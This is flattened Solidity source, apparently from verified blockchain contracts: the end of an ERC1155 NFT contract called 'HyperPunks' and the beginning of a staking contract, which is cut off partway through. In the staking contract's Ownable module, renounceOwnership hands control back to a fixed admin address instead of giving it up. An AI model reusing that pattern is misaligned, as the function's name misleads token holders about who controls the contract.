_from account's tokens (see isApprovedForAll) * MUST throw if `_to` is the zero address * MUST throw if balance of sender for token `_id` is lower than the `_amount` sent * MUST throw on any other error * When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155Received` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount * @param _data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes calldata _data) external; /** * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call) * @dev MUST emit TransferBatch event on success * Caller must be approved to manage the _from account's tokens (see isApprovedForAll) * MUST throw if `_to` is the zero address * MUST throw if length of `_ids` is not the same as length of `_amounts` * MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_amounts` sent * MUST throw on any other error * When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * Transfers and events MUST occur in the array order they were submitted (_ids[0] before _ids[1], etc) * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type * @param _data Additional data with no specified format, sent in call to `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external; /** * @notice Get the balance of an account's Tokens * @param _owner The address of the token holder * @param _id ID of the Token * @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); /** * @notice Get the balance of multiple account/token pairs * @param _owners The addresses of the token holders * @param _ids ID of the Tokens * @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); /** * @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens * @dev MUST emit the ApprovalForAll event on success * @param _operator Address to add to the set of authorized operators * @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** * @notice Queries the approval status of an operator for a given owner * @param _owner The owner of the Tokens * @param _operator Address of authorized operator * @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator); } /** * Copyright 2018 ZeroEx Intl. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * Utility library of inline functions on addresses */ library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } /** * @dev Implementation of Multi-Token Standard contract */ contract ERC1155 is IERC165 { using SafeMath for uint256; using Address for address; /***********************************| | Variables and Events | |__________________________________*/ // onReceive function signatures bytes4 constant internal ERC1155_RECEIVED_VALUE = 0xf23a6e61; bytes4 constant internal ERC1155_BATCH_RECEIVED_VALUE = 0xbc197c81; // Objects balances mapping (address => mapping(uint256 => uint256)) internal balances; // Operator Functions mapping (address => mapping(address => bool)) internal operators; // Events event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount); event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); event URI(string _uri, uint256 indexed _id); /***********************************| | Public Transfer Functions | |__________________________________*/ /** * @notice Transfers amount amount of an _id from the _from address to the _to address specified * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount * @param _data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data) public { require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeTransferFrom: INVALID_OPERATOR"); require(_to != address(0),"ERC1155#safeTransferFrom: INVALID_RECIPIENT"); // require(_amount >= balances[_from][_id]) is not necessary since checked with safemath operations _safeTransferFrom(_from, _to, _id, _amount); _callonERC1155Received(_from, _to, _id, _amount, _data); } /** * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call) * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type * @param _data Additional data with no specified format, sent in call to `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) public { // Requirements require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeBatchTransferFrom: INVALID_OPERATOR"); require(_to != address(0), "ERC1155#safeBatchTransferFrom: INVALID_RECIPIENT"); _safeBatchTransferFrom(_from, _to, _ids, _amounts); _callonERC1155BatchReceived(_from, _to, _ids, _amounts, _data); } /***********************************| | Internal Transfer Functions | |__________________________________*/ /** * @notice Transfers amount amount of an _id from the _from address to the _to address specified * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount */ function _safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount) internal { // Update balances balances[_from][_id] = balances[_from][_id].sub(_amount); // Subtract amount balances[_to][_id] = balances[_to][_id].add(_amount); // Add amount // Emit event emit TransferSingle(msg.sender, _from, _to, _id, _amount); } /** * @notice Verifies if receiver is contract and if so, calls (_to).onERC1155Received(...) */ function _callonERC1155Received(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data) internal { // Check if recipient is contract if (_to.isContract()) { bytes4 retval = IERC1155TokenReceiver(_to).onERC1155Received(msg.sender, _from, _id, _amount, _data); require(retval == ERC1155_RECEIVED_VALUE, "ERC1155#_callonERC1155Received: INVALID_ON_RECEIVE_MESSAGE"); } } /** * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call) * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type */ function _safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts) internal { require(_ids.length == _amounts.length, "ERC1155#_safeBatchTransferFrom: INVALID_ARRAYS_LENGTH"); // Number of transfer to execute uint256 nTransfer = _ids.length; // Executing all transfers for (uint256 i = 0; i < nTransfer; i++) { // Update storage balance of previous bin balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]); balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]); } // Emit event emit TransferBatch(msg.sender, _from, _to, _ids, _amounts); } /** * @notice Verifies if receiver is contract and if so, calls (_to).onERC1155BatchReceived(...) */ function _callonERC1155BatchReceived(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) internal { // Pass data if recipient is contract if (_to.isContract()) { bytes4 retval = IERC1155TokenReceiver(_to).onERC1155BatchReceived(msg.sender, _from, _ids, _amounts, _data); require(retval == ERC1155_BATCH_RECEIVED_VALUE, "ERC1155#_callonERC1155BatchReceived: INVALID_ON_RECEIVE_MESSAGE"); } } /***********************************| | Operator Functions | |__________________________________*/ /** * @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens * @param _operator Address to add to the set of authorized operators * @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external { // Update operator status operators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /** * @notice Queries the approval status of an operator for a given owner * @param _owner The owner of the Tokens * @param _operator Address of authorized operator * @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) public view returns (bool isOperator) { return operators[_owner][_operator]; } /***********************************| | Balance Functions | |__________________________________*/ /** * @notice Get the balance of an account's Tokens * @param _owner The address of the token holder * @param _id ID of the Token * @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) public view returns (uint256) { return balances[_owner][_id]; } /** * @notice Get the balance of multiple account/token pairs * @param _owners The addresses of the token holders * @param _ids ID of the Tokens * @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] memory _owners, uint256[] memory _ids) public view returns (uint256[] memory) { require(_owners.length == _ids.length, "ERC1155#balanceOfBatch: INVALID_ARRAY_LENGTH"); // Variables uint256[] memory batchBalances = new uint256[](_owners.length); // Iterate over each owner and token ID for (uint256 i = 0; i < _owners.length; i++) { batchBalances[i] = balances[_owners[i]][_ids[i]]; } return batchBalances; } /***********************************| | ERC165 Functions | |__________________________________*/ /** * INTERFACE_SIGNATURE_ERC165 = bytes4(keccak256("supportsInterface(bytes4)")); */ bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7; /** * INTERFACE_SIGNATURE_ERC1155 = * bytes4(keccak256("safeTransferFrom(address,address,uint256,uint256,bytes)")) ^ * bytes4(keccak256("safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)")) ^ * bytes4(keccak256("balanceOf(address,uint256)")) ^ * bytes4(keccak256("balanceOfBatch(address[],uint256[])")) ^ * bytes4(keccak256("setApprovalForAll(address,bool)")) ^ * bytes4(keccak256("isApprovedForAll(address,address)")); */ bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26; /** * @notice Query if a contract implements an interface * @param _interfaceID The interface identifier, as specified in ERC-165 * @return `true` if the contract implements `_interfaceID` and */ function supportsInterface(bytes4 _interfaceID) external view returns (bool) { if (_interfaceID == INTERFACE_SIGNATURE_ERC165 || _interfaceID == INTERFACE_SIGNATURE_ERC1155) { return true; } return false; } } /** * @notice Contract that handles metadata related methods. * @dev Methods assume a deterministic generation of URI based on token IDs. * Methods also assume that URI uses hex representation of token IDs. */ contract ERC1155Metadata { // URI's default URI prefix string internal baseMetadataURI; event URI(string _uri, uint256 indexed _id); /***********************************| | Metadata Public Function s | |__________________________________*/ /** * @notice A distinct Uniform Resource Identifier (URI) for a given token. * @dev URIs are defined in RFC 3986. * URIs are assumed to be deterministically generated based on token ID * Token IDs are assumed to be represented in their hex format in URIs * @return URI string */ function uri(uint256 _id) public view returns (string memory) { return string(abi.encodePacked(baseMetadataURI, _uint2str(_id), ".json")); } /***********************************| | Metadata Internal Functions | |__________________________________*/ /** * @notice Will emit default URI log event for corresponding token _id * @param _tokenIDs Array of IDs of tokens to log default URI */ function _logURIs(uint256[] memory _tokenIDs) internal { string memory baseURL = baseMetadataURI; string memory tokenURI; for (uint256 i = 0; i < _tokenIDs.length; i++) { tokenURI = string(abi.encodePacked(baseURL, _uint2str(_tokenIDs[i]), ".json")); emit URI(tokenURI, _tokenIDs[i]); } } /** * @notice Will emit a specific URI log event for corresponding token * @param _tokenIDs IDs of the token corresponding to the _uris logged * @param _URIs The URIs of the specified _tokenIDs */ function _logURIs(uint256[] memory _tokenIDs, string[] memory _URIs) internal { require(_tokenIDs.length == _URIs.length, "ERC1155Metadata#_logURIs: INVALID_ARRAYS_LENGTH"); for (uint256 i = 0; i < _tokenIDs.length; i++) { emit URI(_URIs[i], _tokenIDs[i]); } } /** * @notice Will update the base URL of token's URI * @param _newBaseMetadataURI New base URL of token's URI */ function _setBaseMetadataURI(string memory _newBaseMetadataURI) internal { baseMetadataURI = _newBaseMetadataURI; } /***********************************| | Utility Internal Functions | |__________________________________*/ /** * @notice Convert uint256 to string * @param _i Unsigned integer to convert to string */ function _uint2str(uint256 _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 ii = _i; uint256 len; // Get number of bytes while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len - 1; // Get each individual ASCII while (ii != 0) { bstr[k--] = byte(uint8(48 + ii % 10)); ii /= 10; } // Convert to string return string(bstr); } } /** * @dev Multi-Fungible Tokens with minting and burning methods. These methods assume * a parent contract to be executed as they are `internal` functions */ contract ERC1155MintBurn is ERC1155 { /****************************************| | Minting Functions | |_______________________________________*/ /** * @notice Mint _amount of tokens of a given id * @param _to The address to mint tokens to * @param _id Token id to mint * @param _amount The amount to be minted * @param _data Data to pass if receiver is contract */ function _mint(address _to, uint256 _id, uint256 _amount, bytes memory _data) internal { // Add _amount balances[_to][_id] = balances[_to][_id].add(_amount); // Emit event emit TransferSingle(msg.sender, address(0x0), _to, _id, _amount); // Calling onReceive method if recipient is contract _callonERC1155Received(address(0x0), _to, _id, _amount, _data); } /** * @notice Mint tokens for each ids in _ids * @param _to The address to mint tokens to * @param _ids Array of ids to mint * @param _amounts Array of amount of tokens to mint per id * @param _data Data to pass if receiver is contract */ function _batchMint(address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) internal { require(_ids.length == _amounts.length, "ERC1155MintBurn#batchMint: INVALID_ARRAYS_LENGTH"); // Number of mints to execute uint256 nMint = _ids.length; // Executing all minting for (uint256 i = 0; i < nMint; i++) { // Update storage balance balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]); } // Emit batch mint event emit TransferBatch(msg.sender, address(0x0), _to, _ids, _amounts); // Calling onReceive method if recipient is contract _callonERC1155BatchReceived(address(0x0), _to, _ids, _amounts, _data); } /****************************************| | Burning Functions | |_______________________________________*/ /** * @notice Burn _amount of tokens of a given token id * @param _from The address to burn tokens from * @param _id Token id to burn * @param _amount The amount to be burned */ function _burn(address _from, uint256 _id, uint256 _amount) internal { //Substract _amount balances[_from][_id] = balances[_from][_id].sub(_amount); // Emit event emit TransferSingle(msg.sender, _from, address(0x0), _id, _amount); } /** * @notice Burn tokens of given token id for each (_ids[i], _amounts[i]) pair * @param _from The address to burn tokens from * @param _ids Array of token ids to burn * @param _amounts Array of the amount to be burned */ function _batchBurn(address _from, uint256[] memory _ids, uint256[] memory _amounts) internal { require(_ids.length == _amounts.length, "ERC1155MintBurn#batchBurn: INVALID_ARRAYS_LENGTH"); // Number of mints to execute uint256 nBurn = _ids.length; // Executing all minting for (uint256 i = 0; i < nBurn; i++) { // Update storage balance balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]); } // Emit batch mint event emit TransferBatch(msg.sender, _from, address(0x0), _ids, _amounts); } } library Strings { // via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol function strConcat( string memory _a, string memory _b, string memory _c, string memory _d, string memory _e ) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint256 k = 0; for (uint256 i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (uint256 i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (uint256 i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (uint256 i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (uint256 i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat( string memory _a, string memory _b, string memory _c, string memory _d ) internal pure returns (string memory) { return strConcat(_a, _b, _c, _d, ""); } function strConcat( string memory _a, string memory _b, string memory _c ) internal pure returns (string memory) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string memory _a, string memory _b) internal pure returns (string memory) { return strConcat(_a, _b, "", "", ""); } function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len - 1; while (_i != 0) { bstr[k--] = bytes1(uint8(48 + (_i % 10))); _i /= 10; } return string(bstr); } } contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * @title ERC1155Tradable * ERC1155Tradable - ERC1155 contract that whitelists an operator address, * has create and mint functionality, and supports useful standards from OpenZeppelin, like _exists(), name(), symbol(), and totalSupply() */ contract ERC1155Tradable is ERC1155, ERC1155MintBurn, ERC1155Metadata, Ownable, MinterRole, WhitelistAdminRole { using Strings for string; address proxyRegistryAddress; uint256 private _currentTokenID = 0; mapping(uint256 => address) public creators; mapping(uint256 => uint256) public tokenSupply; mapping(uint256 => uint256) public tokenMaxSupply; // Contract name string public name; // Contract symbol string public symbol; constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress ) public { name = _name; symbol = _symbol; proxyRegistryAddress = _proxyRegistryAddress; } function removeWhitelistAdmin(address account) public onlyOwner { _removeWhitelistAdmin(account); } function removeMinter(address account) public onlyOwner { _removeMinter(account); } function uri(uint256 _id) public view returns (string memory) { require(_exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); return Strings.strConcat(baseMetadataURI, Strings.uint2str(_id)); } /** * @dev Returns the total quantity for a token ID * @param _id uint256 ID of the token to query * @return amount of token in existence */ function totalSupply(uint256 _id) public view returns (uint256) { return tokenSupply[_id]; } /** * @dev Returns the max quantity for a token ID * @param _id uint256 ID of the token to query * @return amount of token in existence */ function maxSupply(uint256 _id) public view returns (uint256) { return tokenMaxSupply[_id]; } /** * @dev Will update the base URL of token's URI * @param _newBaseMetadataURI New base URL of token's URI */ function setBaseMetadataURI(string memory _newBaseMetadataURI) public onlyWhitelistAdmin { _setBaseMetadataURI(_newBaseMetadataURI); } /** * @dev Creates a new token type and assigns _initialSupply to an address * @param _maxSupply max supply allowed * @param _initialSupply Optional amount to supply the first owner * @param _uri Optional URI for this token type * @param _data Optional data to pass if receiver is contract * @return The newly created token ID */ function create( uint256 _maxSupply, uint256 _initialSupply, string calldata _uri, bytes calldata _data ) external onlyWhitelistAdmin returns (uint256 tokenId) { require(_initialSupply <= _maxSupply, "Initial supply cannot be more than max supply"); uint256 _id = _getNextTokenID(); _incrementTokenTypeId(); creators[_id] = msg.sender; if (bytes(_uri).length > 0) { emit URI(_uri, _id); } if (_initialSupply != 0) _mint(msg.sender, _id, _initialSupply, _data); tokenSupply[_id] = _initialSupply; tokenMaxSupply[_id] = _maxSupply; return _id; } /** * @dev Mints some amount of tokens to an address * @param _to Address of the future owner of the token * @param _id Token ID to mint * @param _quantity Amount of tokens to mint * @param _data Data to pass if receiver is contract */ function mint( address _to, uint256 _id, uint256 _quantity, bytes memory _data ) public onlyMinter { uint256 tokenId = _id; require(tokenSupply[tokenId] < tokenMaxSupply[tokenId], "Max supply reached"); _mint(_to, _id, _quantity, _data); tokenSupply[_id] = tokenSupply[_id].add(_quantity); } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings. */ function isApprovedForAll(address _owner, address _operator) public view returns (bool isOperator) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(_owner)) == _operator) { return true; } return ERC1155.isApprovedForAll(_owner, _operator); } /** * @dev Returns whether the specified token exists by checking to see if it has a creator * @param _id uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 _id) internal view returns (bool) { return creators[_id] != address(0); } /** * @dev calculates the next token ID based on value of _currentTokenID * @return uint256 for the next token ID */ function _getNextTokenID() private view returns (uint256) { return _currentTokenID.add(1); } /** * @dev increments the value of _currentTokenID */ function _incrementTokenTypeId() private { _currentTokenID++; } } /** * @title HyperPunks * HyperPunks - Collect limited edition NFTs from HyperPunks */ contract HyperPunks is ERC1155Tradable { address Account1 = 0xAF639943E381753948777B02cc416B89e0090c1D; address Account2 = 0xbEBFA4CF24AEF7A133F1136171233aa8861984B9; address Account3 = 0xcdDE38d712D0D29cD0B858977cf3CAeE5D28A0Af; bool locked = false; uint256 public itemPrice; constructor(address _proxyRegistryAddress) public ERC1155Tradable("Hyperpunks", "HYPER", _proxyRegistryAddress) { _setBaseMetadataURI("https://hyp.s3.eu-west-2.amazonaws.com/json/"); } function contractURI() public pure returns (string memory) { return "https://hyp.s3.eu-west-2.amazonaws.com/description/info.json"; } // sets the price for an item function setItemPrice(uint256 _price) public onlyOwner { itemPrice = _price; } function getItemPrice() public view returns (uint){ return itemPrice; } //buys an nft with the _id function buyOne(uint256 _id) public payable { require(itemPrice > 0, "itemPrice is not set"); require(msg.value >= itemPrice, "you should send the exact amount of ETH to buy this"); require(tokenSupply[_id] == 0, "this token is already owned by someone"); creators[_id] = msg.sender; _mint(msg.sender, _id, 1, "0x0000"); tokenSupply[_id] = 1; tokenMaxSupply[_id] = 1; } // withdraw the money from the selling of the NFTs function withdraw() public onlyWhitelistAdmin { require(!locked, "Reentrant call detected!"); locked = true; uint balance = address(this).balance; uint256 share = SafeMath.div(balance, 3); (bool success, ) = Account1.call.value(share)(""); require(success, "transfer failed."); (success, ) = Account2.call.value(share)(""); require(success, "transfer failed 2"); (success, ) = Account3.call.value(share)(""); require(success, "transfer failed 3"); locked = false; } // current balance of the contract function getCurrentBalance() public view returns (uint) { return address(this).balance; } }
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/** *Submitted for verification at Etherscan.io on 2021-08-06 */ // Sources flattened with hardhat v2.5.0 https://hardhat.org // File contracts/access/Context.sol // SPDX-License-Identifier: MIT; pragma solidity ^0.7.6; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File contracts/access/Pausable.sol pragma solidity >=0.6.0 <=0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File contracts/access/Ownable.sol pragma solidity >=0.6.0 <=0.8.0; abstract contract Ownable is Pausable { address public _owner; address public _admin; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor(address ownerAddress) { _owner = ownerAddress; _admin = ownerAddress; emit OwnershipTransferred(address(0), _owner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require( _owner == _msgSender(), "Ownable: caller is not the owner" ); _; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyAdmin() { require( _admin == _msgSender(), "Ownable: caller is not the Admin" ); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyAdmin { emit OwnershipTransferred(_owner, _admin); _owner = _admin; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File contracts/abstract/CohortStaking.sol pragma solidity ^0.7.6; abstract contract CohortStaking { struct tokenInfo { bool isExist; uint8 decimal; uint256 userMinStake; uint256 userMaxStake; uint256 totalMaxStake; uint256 lockableDays; bool optionableStatus; } mapping(address => tokenInfo) public tokenDetails; mapping(address => uint256) public totalStaking; mapping(address => address[]) public tokensSequenceList; mapping(address => mapping(address => uint256)) public tokenDailyDistribution; mapping(address => mapping(address => bool)) public tokenBlockedStatus; uint256 public refPercentage; uint256 public poolStartTime; uint256 public stakeDuration; function viewStakingDetails(address _user) public view virtual returns ( address[] memory, address[] memory, bool[] memory, uint256[] memory, uint256[] memory, uint256[] memory ); function safeWithdraw(address tokenAddress, uint256 amount) public virtual; function transferOwnership(address newOwner) public virtual; } // File contracts/libraries/SafeMath.sol pragma solidity ^0.7.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File contracts/interfaces/IERC20.sol pragma solidity ^0.7.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to 